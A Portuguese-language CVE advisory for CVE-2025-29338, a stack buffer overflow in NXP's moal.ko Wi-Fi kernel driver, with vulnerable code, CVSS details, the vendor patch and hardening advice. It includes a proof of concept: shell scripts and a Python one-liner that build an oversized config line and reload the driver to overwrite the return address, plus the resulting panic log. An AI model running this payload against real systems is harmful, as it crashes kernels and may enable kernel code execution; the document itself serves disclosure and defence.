
Advisory técnico e prova de conceito para um estouro de buffer baseado em pilha (CWE-121) no driver de kernel Wi-Fi moal.ko da NXP, permitindo pânico local do kernel e potencial execução arbitrária de código.
woal_setup_module_param / parse_cfg_get_line)| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-29338 |
| Gravidade | Alta |
| Pontuação CVSS v3.1 | 7.8 |
| Vetor CVSS v3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidade | Estouro de buffer baseado em pilha (CWE-121) |
| Vetor de Ataque | Local |
| Fornecedor | NXP Semiconductors |
| Status do Patch do Fornecedor | Corrigido |
| Descobridor | Mahmoud Jadaan — diconium auto GmbH |
Existe uma vulnerabilidade de estouro de buffer baseado em pilha no driver de kernel Wi-Fi moal.ko da NXP (versão 5.1.7.10) nas builds de firmware v17.92.1.p149.43 até v17.92.1.p149.157. A vulnerabilidade está localizada em parse_cfg_get_line (mlinux/moal_init.c), chamada a partir de woal_setup_module_param. O loop while que lê linhas do arquivo de configuração para um buffer de pilha de tamanho fixo não possui verificação de limites no destino, permitindo que uma linha de comprimento arbitrário transborde o buffer, corrompa a pilha e cause um kernel panic. A NXP PSIRT confirmou a vulnerabilidade e a correção foi lançada.
woal_setup_module_param aloca um buffer de pilha fixo de MAX_LINE_LEN bytes e o passa para parse_cfg_get_line a cada iteração ao processar o arquivo de configuração mod_para:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
Na revisão vulnerável de parse_cfg_get_line, a condição do loop while verifica apenas a posição da origem e os terminadores de linha — não há verificação de quantos bytes foram gravados no buffer de destino:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
Uma linha do arquivo de configuração mais longa que MAX_LINE_LEN bytes faz com que dest avance além do final do buffer de pilha do chamador, sobrescrevendo a memória de pilha adjacente, incluindo o ponteiro de quadro salvo e o endereço de retorno.
O driver é carregado na inicialização do sistema usando insmod com o parâmetro mod_para apontando para um arquivo de configuração. Um atacante que consiga gravar um arquivo de configuração malicioso e recarregar o módulo do kernel pode acionar o estouro.
| Impacto | Descrição |
|---|---|
| Negação de Serviço | Kernel panic — confirmado; causa reinicialização imediata do sistema |
| Corrupção de Memória do Kernel | Stack smashing sobrescreve o salvo e o endereço de retorno |
Pontuação Base: 7.8 (Alta)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Fornecido apenas para fins defensivos e de pesquisa.
#!/bin/sh
rmmod moal
rmmod mlan
O buffer de pilha é preenchido com As, seguidos por 8 bytes para o slot do stack canary (Bs), 8 bytes para o rbp salvo (Cs) e 8 bytes para sobrescrever o endereço de retorno (Ds):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
O caminho de mod_para deve ser relativo ao diretório onde o kernel procura por firmware (tipicamente /lib/firmware/). Construa o caminho de acordo:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
Um kernel panic é acionado imediatamente durante a inicialização do módulo. Os logs do kernel confirmam que o endereço de retorno foi sobrescrito com 0x4444444444444444 (ASCII DDDDDDDD), demonstrando controle total do ponteiro de instrução:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
A NXP PSIRT confirmou a vulnerabilidade e forneceu o seguinte patch para mlinux/moal_init.c. A correção adiciona uma verificação de limites dentro do loop de parse_cfg_get_line para interromper antes de exceder MAX_LINE_LEN:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
Atualize para uma versão de firmware posterior à v17.92.1.p149.157 que inclua o patch acima. Como endurecimento adicional:
CAP_SYS_MODULE a administradores confiáveis; reforce as restrições das syscalls init_module / finit_module via SELinux, AppArmor ou seccomp.mod_para e os arquivos para os quais ele aponta sejam graváveis apenas por root.A NXP PSIRT confirmou a vulnerabilidade. A correção foi lançada como parte de uma atualização formal de software.
Descobridor: Mahmoud Jadaan — diconium auto GmbH
Este aviso é publicado como referência pública para atender aos requisitos mínimos de divulgação de CVE do Programa CVE.
| Campo | Detalhe |
|---|
| Fornecedor | NXP Semiconductors |
| Componente | driver de kernel Wi-Fi moal.ko |
| Versão do Driver | 5.1.7.10 |
| Firmware — Primeiro Afetado | v17.92.1.p149.43 |
| Firmware — Último Afetado | v17.92.1.p149.157 |
| Atributo | Valor |
|---|
| Tipo | Local |
| Privilégios Necessários | CAP_SYS_MODULE (root ou equivalente) |
| Interação do Usuário | Nenhuma |
| Superfície de Ataque | parâmetro do módulo de kernel mod_para (caminho do arquivo de configuração) |
rbp| Execução Potencial de Código | Endereço de retorno controlado — a execução arbitrária de código em modo kernel pode ser possível dependendo das mitigações existentes (stack canary, KASLR, etc.) |
| Métrica | Valor | Justificativa |
|---|
| Vetor de Ataque (AV) | Local (L) | Requer acesso local ao sistema |
| Complexidade do Ataque (AC) | Baixa (L) | Sem condições de corrida ou pré-requisitos complexos |
| Privilégios Necessários (PR) | Alta (H) | Requer CAP_SYS_MODULE / root |
| Interação do Usuário (UI) | Nenhuma (N) | Totalmente controlada pelo atacante |
| Escopo (S) | Inalterado (U) | O impacto permanece no contexto do kernel |
| Confidencialidade (C) | Alta (H) | Memória do kernel potencialmente legível |
| Integridade (I) | Alta (H) | Sobrescrita do endereço de retorno demonstrada |
| Disponibilidade (A) | Alta (H) | Kernel panic / reinicialização confirmados |